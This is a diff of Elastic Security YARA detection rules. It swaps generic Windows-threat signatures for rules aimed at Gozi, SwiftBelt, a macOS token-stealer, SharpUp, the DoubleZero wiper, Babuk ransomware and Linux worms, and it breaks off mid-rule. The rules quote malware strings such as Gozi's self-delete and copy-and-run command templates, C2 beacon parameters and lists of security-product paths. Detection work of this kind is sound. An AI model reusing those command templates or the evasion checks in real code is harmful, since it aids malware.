 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE, MEMORY"
-		fingerprint = "f764c4b2a562eb92a7326a45b180da7f930ffcc4f0b88bbd640c2fe7b71f82b6"
-		threat_name = "Windows.Trojan.IcedID"
+		fingerprint = "98d14dba562ad68c8ecc00780ab7ee2ecbe912cd00603fff0eb887df1cd12fdb"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "macos"
 
 	strings:
-		$a = "E:\\source\\anubis\\int-bot\\x64\\Release\\int-bot.pdb" ascii fullword
+		$dbg1 = "SwiftBelt/Sources/SwiftBelt"
+		$dbg2 = "[-] Firefox places.sqlite database not found for user"
+		$dbg3 = "[-] No security products found"
+		$dbg4 = "SSH/AWS/gcloud Credentials Search:"
+		$dbg5 = "[-] Could not open the Slack Cookies database"
+		$sec1 = "[+] Malwarebytes A/V found on this host"
+		$sec2 = "[+] Cisco AMP for endpoints found"
+		$sec3 = "[+] SentinelOne agent running"
+		$sec4 = "[+] Crowdstrike Falcon agent found"
+		$sec5 = "[+] FireEye HX agent installed"
+		$sec6 = "[+] Little snitch firewall found"
+		$sec7 = "[+] ESET A/V installed"
+		$sec8 = "[+] Carbon Black OSX Sensor installed"
+		$sec9 = "/Library/Little Snitch"
+		$sec10 = "/Library/FireEye/xagt"
+		$sec11 = "/Library/CS/falcond"
+		$sec12 = "/Library/Logs/PaloAltoNetworks/GlobalProtect"
+		$sec13 = "/Library/Application Support/Malwarebytes"
+		$sec14 = "/usr/local/bin/osqueryi"
+		$sec15 = "/Library/Sophos Anti-Virus"
+		$sec16 = "/Library/Objective-See/Lulu"
+		$sec17 = "com.eset.remoteadministrator.agent"
+		$sec18 = "/Applications/CarbonBlack/CbOsxSensorService"
+		$sec19 = "/Applications/BlockBlock Helper.app"
+		$sec20 = "/Applications/KextViewr.app"
 
 	condition:
-		all of them
+		6 of them
 }
-rule ELASTIC_Windows_Generic_Threat_Bc6Ae28D : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Gozi_Fd494041 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
+		description = "Detects Windows Trojan Gozi (Windows.Trojan.Gozi)"
 		author = "Elastic Security"
-		id = "bc6ae28d-050b-43d9-ba57-82fb37a2bc91"
-		date = "2023-12-01"
-		modified = "2024-01-12"
+		id = "fd494041-3fe8-4ffa-9ab8-6798032f1d66"
+		date = "2021-03-22"
+		modified = "2021-08-23"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Generic_Threat.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "ce00873eb423c0259c18157a07bf7fd9b07333e528a5b9d48be79194310c9d97"
-		logic_hash = "0ca5ec945858a5238eac048520dea4597f706ad2c96be322d341c84c4ddbce33"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Gozi.yar#L1-L32"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "0a1c1557bdb8c1b99e2b764fc6b21a07e33dc777b492a25a55cbd8737031e237"
+		logic_hash = "fdd18817e7377f1b4006d3bf135d924b8ead62a461ea56f57157b2856ba6846b"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "40a45e5b109a9b48cecd95899ff6350af5d28deb1c6f3aa4f0363ed3abf62bf7"
-		severity = 50
+		fingerprint = "faabcdfb3402a5951ff1fde4f994dcb00ec9a71fb815b80dc1da9b577bf92ec2"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a = { 24 83 79 08 00 75 19 DD 01 8D 45 DC 50 51 51 DD 1C 24 E8 DB FC FF FF 85 C0 74 05 8B 45 F0 C9 C3 83 C8 FF C9 C3 55 8B EC 83 EC 24 83 79 08 00 75 19 DD 01 8D 45 DC 50 51 51 DD 1C }
+		$a1 = "/C ping localhost -n %u && del \"%s\"" wide fullword
+		$a2 = "/C \"copy \"%s\" \"%s\" /y && \"%s\" \"%s\"" wide fullword
+		$a3 = "/C \"copy \"%s\" \"%s\" /y && rundll32 \"%s\",%S\"" wide fullword
+		$a4 = "ASCII.GetString(( gp \"%S:\\%S\").%s))',0,0)" wide
+		$a5 = "filename=\"%.4u.%lu\""
+		$a6 = "Urundll32 \"%s\",%S" wide fullword
+		$a7 = "version=%u&soft=%u&user=%08x%08x%08x%08x&server=%u&id=%u&type=%u&name=%s" ascii fullword
+		$a8 = "%08X-%04X-%04X-%04X-%08X%04X" ascii fullword
+		$a9 = "&whoami=%s" ascii fullword
+		$a10 = "%u.%u_%u_%u_x%u" ascii fullword
+		$a11 = "size=%u&hash=0x%08x" ascii fullword
+		$a12 = "&uptime=%u" ascii fullword
+		$a13 = "%systemroot%\\system32\\c_1252.nls" ascii fullword
+		$a14 = "IE10RunOnceLastShown_TIMESTAMP" ascii fullword
 
 	condition:
-		all of them
+		8 of ($a*)
 }
-rule ELASTIC_Windows_Generic_Threat_Ce98C4Bc : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Gozi_261F5Ac5 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
+		description = "Detects Windows Trojan Gozi (Windows.Trojan.Gozi)"
 		author = "Elastic Security"
-		id = "ce98c4bc-22bb-4c2b-bced-8fc36bd3a2f0"
-		date = "2023-12-17"
-		modified = "2024-01-12"
+		id = "261f5ac5-7800-4580-ac37-80b71c47c270"
+		date = "2019-08-02"
+		modified = "2021-08-23"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Generic_Threat.yar#L21-L40"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "950e8a29f516ef3cf1a81501e97fbbbedb289ad9fb93352edb563f749378da35"
-		logic_hash = "74914f41c03cb2dcb1dc3175cc76574a0d40b66a1a3854af8f50c9858704b66b"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Gozi.yar#L34-L60"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "31835c6350177eff88265e81335a50fcbe0dc46771bf031c836947851dcebb4f"
+		logic_hash = "23a7427e162e2f77ee0a281fe4bc54eab29a3bdca8e51015147e8eb223e7e2f7"
 		score = 75
-		quality = 71
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "d0849208c71c1845a6319052474549dba8514ecf7efe6185c1af22ad151bdce7"
-		severity = 50
+		fingerprint = "cbc8fec8fbaa809cfc7da7db72aeda43d4270f907e675016cbbc2e28e7b8553c"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a1 = { 4D 65 73 73 61 67 65 50 61 63 6B 4C 69 62 2E 4D 65 73 73 61 67 65 50 61 63 6B }
-		$a2 = { 43 6C 69 65 6E 74 2E 41 6C 67 6F 72 69 74 68 6D }
+		$a1 = "soft=%u&version=%u&user=%08x%08x%08x%08x&server=%u&id=%u&crc=%x"
+		$a2 = "version=%u&soft=%u&user=%08x%08x%08x%08x&server=%u&id=%u&type=%u&name=%s"
+		$a3 = "Content-Disposition: form-data; name=\"upload_file\"; filename=\"%.4u.%lu\""
+		$a4 = "&tor=1"
+		$a5 = "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT %u.%u%s)"
+		$a6 = "http://constitution.org/usdeclar.txt"
+		$a7 = "grabs="
+		$a8 = "CHROME.DLL"
+		$a9 = "Software\\AppDataLow\\Software\\Microsoft\\"
 
 	condition:
-		all of them
+		4 of ($a*)
 }
-rule ELASTIC_Windows_Generic_Threat_0Cc1481E : FILE MEMORY
+rule ELASTIC_Macos_Infostealer_Mdquerytoken_1C52D574 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
+		description = "Detects Macos Infostealer Mdquerytoken (MacOS.Infostealer.MdQueryToken)"
 		author = "Elastic Security"
-		id = "0cc1481e-d666-4443-852c-679ef59e4ee4"
-		date = "2023-12-17"
-		modified = "2024-01-12"
+		id = "1c52d574-4fb7-4f14-b100-291e3f296c94"
+		date = "2023-04-11"
+		modified = "2024-08-19"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Generic_Threat.yar#L42-L60"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "6ec7781e472a6827c1406a53ed4699407659bd57c33dd4ab51cabfe8ece6f23f"
-		logic_hash = "1a094cf337cb85aa4b7d1d2025571ab0661a7be1fd03d53d8c7370a90385f38c"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/MacOS_Infostealer_MdQueryToken.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "ede29154aae99bb67075e21acb694b089f9a1b366a4e2505cb761142393994a8"
 		score = 75
-		quality = 75
+		quality = 71
 		tags = "FILE, MEMORY"
-		fingerprint = "3dac71f8cbe7cb12066e91ffb6da6524891654fda249fa5934946fd5a2120360"
-		severity = 50
-		arch_context = "x86"
+		fingerprint = "f603e5383d08050cd84949fb60ce5618c4dfff54bcb3f035290adc1c1cc0e0e1"
+		severity = 100
+		arch_context = "x86, arm64"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "macos"
 
 	strings:
-		$a1 = { 83 C4 A8 53 56 57 8B FA 8B D8 8B 43 28 3B 78 10 0F 84 B4 00 00 00 8B F0 85 FF 75 15 83 7E 04 01 75 0F 8B 46 10 E8 03 A7 FF FF 33 C0 89 46 10 EB 7C 8B C3 E8 B5 F3 FF FF 8B C3 E8 BE F3 }
+		$string1 = /kMDItemTextContent\s{1,50}==\s{1,50}\S{1,50}token/ ascii wide nocase
+		$string2 = /kMDItemDisplayName\s{1,50}==\s{1,50}\S{1,50}token\S{1,50}/ ascii wide nocase
 
 	condition:
-		all of them
+		any of ($string1,$string2)
 }
-rule ELASTIC_Windows_Generic_Threat_2507C37C : FILE MEMORY
+rule ELASTIC_Windows_Hacktool_Sharpup_E5C87C9A : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
+		description = "Detects Windows Hacktool Sharpup (Windows.Hacktool.SharpUp)"
 		author = "Elastic Security"
-		id = "2507c37c-a0ef-47e0-a02a-3e28f4655715"
-		date = "2023-12-18"
-		modified = "2024-01-12"
+		id = "e5c87c9a-6b4d-49af-85d1-6bb60123c057"
+		date = "2022-10-20"
+		modified = "2022-11-24"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Generic_Threat.yar#L62-L80"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "04296258f054a958f0fd013b3c6a3435280b28e9a27541463e6fc9afe30363cc"
-		logic_hash = "8c5ea1290260993ea5140baa4645f3fd0ebb4d43fce0e9a25f8e8948e683aec1"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Hacktool_SharpUp.yar#L1-L25"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "45e92b991b3633b446473115f97366d9f35acd446d00cd4a05981a056660ad27"
+		logic_hash = "62e9aafd308aacbc7a124c707e230c5a9ffde4f6929a5feada5497e3eae7668c"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE, MEMORY"
-		fingerprint = "b20b76f19d21730b6e32d1468f0e14ee9d6f9f07b9692fb6dec76605d9b967e2"
-		severity = 50
+		fingerprint = "4c6e70b7ce3eb3fc05966af6c3847f4b7282059e05c089c20f39f226efb9bf87"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a1 = { 55 8B EC 8B 45 14 56 57 33 FF 3B C7 74 47 39 7D 08 75 1B E8 B2 2B 00 00 6A 16 5E 89 30 57 57 57 57 57 E8 3B 2B 00 00 83 C4 14 8B C6 EB 29 39 7D 10 74 E0 39 45 0C 73 0E E8 8D 2B 00 00 6A 22 59 }
+		$guid = "FDD654F5-5C54-4D93-BF8E-FAF11B00E3E9" ascii wide nocase
+		$str0 = "^\\W*([a-z]:\\\\.+?(\\.exe|\\.bat|\\.ps1|\\.vbs))\\W*" ascii wide
+		$str1 = "^\\W*([a-z]:\\\\.+?(\\.exe|\\.dll|\\.sys))\\W*" ascii wide
+		$str2 = "SELECT * FROM win32_service WHERE Name LIKE '{0}'" ascii wide
+		$print_str1 = "[!] Modifialbe scheduled tasks were not evaluated due to permissions." ascii wide
+		$print_str2 = "[+] Potenatially Hijackable DLL: {0}" ascii wide
+		$print_str3 = "Registry AutoLogon Found" ascii wide
 
 	condition:
-		all of them
+		$guid or ( all of ($str*) and 1 of ($print_str*))
 }
-rule ELASTIC_Windows_Generic_Threat_E052D248 : FILE MEMORY
+rule ELASTIC_Windows_Wiper_Doublezero_65Ec0C50 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
+		description = "Detects Windows Wiper Doublezero (Windows.Wiper.DoubleZero)"
 		author = "Elastic Security"
-		id = "e052d248-32f2-4d51-b42d-468a09e06daa"
-		date = "2023-12-18"
-		modified = "2024-01-12"
+		id = "65ec0c50-4038-46a7-879b-fbb4aab18725"
+		date = "2022-03-22"
+		modified = "2022-04-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Generic_Threat.yar#L82-L100"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "ed2bbc0d120665044aacb089d8c99d7c946b54d1b08a078aebbb3b91f593da6e"
-		logic_hash = "1a16ce6d1c6707560425156e625ad19a82315564b3f03adafbcc3e65b0e98a6d"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Wiper_DoubleZero.yar#L1-L23"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "3b2e708eaa4744c76a633391cf2c983f4a098b46436525619e5ea44e105355fe"
+		logic_hash = "bce33817d99f71b9d087ea079ef8db08b496315b72cf9d1cf6f0b107a604e52c"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "ccfbcb9271b1ce99b814cf9e3a4776e9501035166824beaf39d4b8cd03446ef3"
-		severity = 50
+		fingerprint = "2441bcdf7bc48df098f4ef68231fb15fc5c8f96af2e170de77f1718487b945b2"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a1 = { 55 8B EC 64 A1 00 00 00 00 6A FF 68 4F 5A 54 00 50 64 89 25 00 00 00 00 6A 02 68 24 D0 58 00 E8 FF 65 10 00 C7 45 FC FF FF FF FF 68 10 52 55 00 E8 F7 72 10 00 8B 4D F4 83 C4 0C 64 89 0D 00 00 }
+		$s1 = "\\Users\\\\.*?\\\\AppData\\\\Roaming\\\\Microsoft.*" wide fullword
+		$s2 = "\\Users\\\\.*?\\\\AppData\\\\Local\\\\Application Data.*" wide fullword
+		$s3 = "\\Users\\\\.*?\\\\Local Settings.*" wide fullword
+		$s4 = "get__beba00adeeb086e6" ascii fullword
+		$s5 = "FileShareWrite" ascii fullword
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Generic_Threat_2Bb7Fbe3 : FILE MEMORY
+rule ELASTIC_Linux_Ransomware_Babuk_Bd216Cab : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
+		description = "Detects Linux Ransomware Babuk (Linux.Ransomware.Babuk)"
 		author = "Elastic Security"
-		id = "2bb7fbe3-2add-4ae9-adbf-5f043475d879"
-		date = "2023-12-18"
-		modified = "2024-01-12"
+		id = "bd216cab-6532-4a71-9353-8ad692550b97"
+		date = "2024-05-09"
+		modified = "2024-06-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Generic_Threat.yar#L102-L120"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "65cc8704c0e431589d196eadb0ac8a19151631c8d4ab7375d7cb18f7b763ba7b"
-		logic_hash = "36e1ab766e09e8d06b9179f67a1cb842ba257f140610964a941fb462ed3e803c"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Ransomware_Babuk.yar#L1-L20"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "d305a30017baef4f08cee38a851b57869676e45c66e64bb7cc58d40bf0142fe0"
+		logic_hash = "b0538be9d8deccc3f77640da28e5fd38a07557e9e5e3c09b11349d7eb50a56b5"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "e20c20c61768bd936cc18df56d7ec12d92745b6534ac8149bf367d6ad62fa8bd"
-		severity = 50
+		fingerprint = "c7517a40759de20edf7851d164c0e4ba71de049f8ea964f15ab5db12c35352ad"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a1 = { 83 EC 14 68 B6 32 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 30 53 56 57 89 65 EC C7 45 F0 C0 15 40 00 33 F6 89 75 F4 89 75 F8 89 75 E0 89 75 DC 89 75 D8 6A 01 FF 15 AC 10 }
+		$a1 = "Whole files count: %d"
+		$a2 = "Doesn't encrypted files: %d"
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Generic_Threat_994F2330 : FILE MEMORY
+rule ELASTIC_Linux_Worm_Generic_920D273F : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
+		description = "Detects Linux Worm Generic (Linux.Worm.Generic)"
 		author = "Elastic Security"
-		id = "994f2330-ce61-4c23-b100-7df3feaeb078"
-		date = "2023-12-18"
-		modified = "2024-01-12"
+		id = "920d273f-5b2b-4eec-a2b3-8d411f2ea181"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Generic_Threat.yar#L122-L140"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "0a30cb09c480a2659b6f989ac9fe1bfba1802ae3aad98fa5db7cdd146fee3916"
-		logic_hash = "ace99deae7f5faa22f273ec4fe45ef07f03acd1ae4d9c0f18687ef6cf5b560c2"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Worm_Generic.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "04a65bc73fab91f654d448b2d7f8f15ac782965dcdeec586e20b5c7a8cc42d73"
+		logic_hash = "d0ed260857ae3002483ea7ef242b82514caaa95c2700b39dd0a03d39fdde090d"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "4749717da2870a3942d7a3aa7e2809c4b9dc783a484bfcd2ce7416ae67164a26"
-		severity = 50
+		fingerprint = "3d4dd13b715249710bc2a02b1628fb68bcccebab876ff6674cad713e93ac53d2"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a1 = { 83 EC 0C 8B 55 08 85 D2 0F 84 C7 00 00 00 8B 42 3C 83 7C 10 74 10 8D 44 10 18 0F 82 B5 00 00 00 83 78 64 00 0F 84 AB 00 00 00 8B 4D 0C 8B 40 60 C1 E9 10 03 C2 66 85 C9 75 14 0F B7 4D }
+		$a = { E9 E5 49 86 49 A4 1A 70 C7 A4 AD 2E E9 D9 09 F5 AD CB ED FC 3B }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Generic_Threat_Bf7Aae24 : FILE MEMORY
+rule ELASTIC_Linux_Worm_Generic_98Efcd38 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
+		description = "Detects Linux Worm Generic (Linux.Worm.Generic)"
 		author = "Elastic Security"
-		id = "bf7aae24-f89a-4cc6-9a15-fc29aa80af98"
-		date = "2023-12-18"
-		modified = "2024-01-12"
+		id = "98efcd38-d579-46f7-a8f8-360f799a5078"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Generic_Threat.yar#L142-L160"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "6dfc63894f15fc137e27516f2d2a56514c51f25b41b00583123142cf50645e4e"
-		logic_hash = "b6dfa6f4c46bddd643f2f89f6275404c19fd4ed1bbae561029fffa884e99e167"
-		score = 75
-		quality = 75
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Worm_Generic.yar#L21-L39"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "87507f5cd73fffdb264d76db9b75f30fe21cc113bcf82c524c5386b5a380d4bb"
+		logic_hash = "c1a130d2ef8d09cb28adc4e347cbd1a083c78241752ecf3f935b03d774d00a81"
+		score = 60
+		quality = 25
 		tags = "FILE, MEMORY"
-		fingerprint = "9304e9069424d43613ef9a5484214d0e3620245ef9ae64bae7d825f5f69d90c0"
-		severity = 50
+		fingerprint = "d6cec73bb6093dbc6d26566c174d0d0f6448f431429edef0528c9ec1c83177fa"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a1 = { 48 33 F6 44 8B EE 48 89 74 24 20 8B EE 48 89 B4 24 A8 00 00 00 44 8B F6 48 89 74 24 28 44 8B E6 E8 BF FF FF FF 4C 8B F8 8D 5E 01 B8 4D 5A 00 00 66 41 39 07 75 1B 49 63 57 3C 48 8D 4A }
+		$a = { 24 14 75 E1 8B 5A 24 01 EB 66 8B 0C 4B 8B 5A 1C 01 EB 8B 04 8B }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Generic_Threat_D542E5A5 : FILE MEMORY
+rule ELASTIC_Linux_Worm_Generic_Bd64472E : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
+		description = "Detects Linux Worm Generic (Linux.Worm.Generic)"
 		author = "Elastic Security"
-		id = "d542e5a5-0648-40de-8b70-9f78f9bd1443"
-		date = "2023-12-18"
-		modified = "2024-01-12"
+		id = "bd64472e-92a2-4d64-8008-b82d7ca33b1d"
+		date = "2021-04-06"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Generic_Threat.yar#L162-L180"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "3fc4ae7115e0bfa3fc6b75dcff867e7bf9ade9c7f558f31916359d37d001901b"
-		logic_hash = "3c16c02d4fc6e019f0ab0ff4daad61f59275afd8fb3ee263b1b59876233a686e"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Worm_Generic.yar#L41-L59"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "b3334a3b61b1a3fc14763dc3d590100ed5e85a97493c89b499b02b76f7a0a7d0"
+		logic_hash = "9a7267a0ebc1073d0b1f81a61b963642cc816b563b43ff4d9508dd8bc195a0e1"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "62d3edc282cedd5a6464b92725a3916e3bdc75e8eb39db457d783cb27afa3aec"
-		severity = 50
+		fingerprint = "1978baa7ff5457e06433fd45db098aefd39ea53d3f29e541eef54890a25a9dce"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a1 = { 55 8B EC 56 FF 75 08 8B F1 E8 B6 FF FF FF C7 06 AC 67 41 00 8B C6 5E 5D C2 04 00 8B FF 55 8B EC 56 FF 75 08 8B F1 E8 99 FF FF FF C7 06 B8 67 41 00 8B C6 5E 5D C2 04 00 B8 EF 5B 40 00 A3 E8 5A }
+		$a = { 89 C0 89 45 EC 83 7D EC FF 75 38 68 54 90 04 08 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Generic_Threat_8D10790B : FILE MEMORY
+rule ELASTIC_Linux_Worm_Generic_3Ff8F75B : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
+		description = "Detects Linux Worm Generic (Linux.Worm.Generic)"
 		author = "Elastic Security"
-		id = "8d10790b-6f26-46bf-826e-1371565763f0"
-		date = "2023-12-18"
-		modified = "2024-01-12"
+		id = "3ff8f75b-619e-4090-8ea4-aedc8bdf61a4"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Generic_Threat.yar#L182-L200"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "911535923a5451c10239e20e7130d371e8ee37172e0f14fc8cf224d41f7f4c0f"
-		logic_hash = "84c017abbce1c8702efbe8657e5a857ae222721b0db2260dc814652f4528df26"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Worm_Generic.yar#L61-L79"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "991175a96b719982f3a846df4a66161a02225c21b12a879e233e19124e90bd35"
+		logic_hash = "798e98f286201f1cda18bf1bf433826cf8a949b584f016b24a684425069d1024"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "7cc33c6684318373e45f5e7440f0a416dd5833a56bc31eb8198a3c36b15dd25e"
-		severity = 50
+		fingerprint = "011f0cd72ebb428775305c84eac69c5ff4800de6e1d8b4d2110d5445b1aae10f"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a1 = { 55 8B EC 81 EC 04 00 00 00 8B 5D 08 8B 1B 83 C3 04 89 5D FC 8B 45 0C 8B 5D FC 89 03 8B E5 5D C2 08 00 55 8B EC 81 EC 0C 00 00 00 C7 45 FC 00 00 00 00 68 00 00 00 00 BB C4 02 00 00 E8 0D 05 00 }
+		$a = { 3A DF FE 00 66 0F 73 FB 04 66 0F 6F D3 66 0F EF D9 66 0F 6F EE 66 0F 70 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Generic_Threat_347F9F54 : FILE MEMORY
+rule ELASTIC_Linux_Packer_Patched_UPX_62E11C64 : FILE
 {
 	meta:
-		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
